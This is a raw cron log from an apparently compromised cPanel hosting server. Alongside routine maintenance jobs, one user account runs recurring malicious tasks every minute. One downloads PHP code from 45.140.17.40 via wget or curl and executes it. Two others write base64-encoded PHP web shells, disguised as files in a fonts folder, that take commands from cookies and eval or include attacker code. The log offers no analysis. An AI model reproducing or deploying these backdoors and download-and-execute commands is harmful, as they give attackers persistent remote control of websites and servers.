Sep  5 18:38:01 ip-184-168-122-23 CROND[792]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:38:01 ip-184-168-122-23 CROND[796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:38:01 ip-184-168-122-23 CROND[797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:39:02 ip-184-168-122-23 CROND[884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:39:02 ip-184-168-122-23 CROND[886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:39:02 ip-184-168-122-23 CROND[887]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 18:39:02 ip-184-168-122-23 CROND[885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:39:02 ip-184-168-122-23 CROND[888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:40:01 ip-184-168-122-23 CROND[1067]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 18:40:01 ip-184-168-122-23 CROND[1075]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:40:01 ip-184-168-122-23 CROND[1079]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:40:01 ip-184-168-122-23 CROND[1080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:40:01 ip-184-168-122-23 CROND[1082]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:40:01 ip-184-168-122-23 CROND[1081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:40:01 ip-184-168-122-23 CROND[1086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:40:01 ip-184-168-122-23 CROND[1085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:41:01 ip-184-168-122-23 CROND[1202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:41:01 ip-184-168-122-23 CROND[1203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:41:01 ip-184-168-122-23 CROND[1205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:41:01 ip-184-168-122-23 CROND[1206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:42:01 ip-184-168-122-23 CROND[1282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:42:01 ip-184-168-122-23 CROND[1284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:42:01 ip-184-168-122-23 CROND[1286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:42:01 ip-184-168-122-23 CROND[1283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:42:01 ip-184-168-122-23 CROND[1285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:43:02 ip-184-168-122-23 CROND[1394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:43:02 ip-184-168-122-23 CROND[1393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:43:02 ip-184-168-122-23 CROND[1395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:43:02 ip-184-168-122-23 CROND[1396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:44:01 ip-184-168-122-23 CROND[1592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:44:01 ip-184-168-122-23 CROND[1594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:44:01 ip-184-168-122-23 CROND[1595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:44:01 ip-184-168-122-23 CROND[1597]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:44:01 ip-184-168-122-23 CROND[1596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:45:01 ip-184-168-122-23 CROND[1723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:45:01 ip-184-168-122-23 CROND[1727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:45:01 ip-184-168-122-23 CROND[1724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:45:01 ip-184-168-122-23 CROND[1725]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:45:01 ip-184-168-122-23 CROND[1726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:45:01 ip-184-168-122-23 CROND[1728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:46:01 ip-184-168-122-23 CROND[1991]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:46:01 ip-184-168-122-23 CROND[1992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:46:01 ip-184-168-122-23 CROND[1993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:46:01 ip-184-168-122-23 CROND[1994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:46:01 ip-184-168-122-23 CROND[1995]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 18:46:01 ip-184-168-122-23 CROND[1996]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 18:46:01 ip-184-168-122-23 CROND[1997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:47:01 ip-184-168-122-23 CROND[2173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:47:01 ip-184-168-122-23 CROND[2175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:47:01 ip-184-168-122-23 CROND[2176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:47:01 ip-184-168-122-23 CROND[2178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:48:02 ip-184-168-122-23 CROND[2318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:48:02 ip-184-168-122-23 CROND[2316]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:48:02 ip-184-168-122-23 CROND[2315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:48:02 ip-184-168-122-23 CROND[2319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:48:02 ip-184-168-122-23 CROND[2317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:49:01 ip-184-168-122-23 CROND[2475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:49:01 ip-184-168-122-23 CROND[2477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:49:01 ip-184-168-122-23 CROND[2479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:49:01 ip-184-168-122-23 CROND[2476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:50:02 ip-184-168-122-23 CROND[2634]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 18:50:02 ip-184-168-122-23 CROND[2641]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 18:50:02 ip-184-168-122-23 CROND[2638]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:50:02 ip-184-168-122-23 CROND[2640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:50:02 ip-184-168-122-23 CROND[2642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:50:02 ip-184-168-122-23 CROND[2645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:50:02 ip-184-168-122-23 CROND[2637]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:50:02 ip-184-168-122-23 CROND[2644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
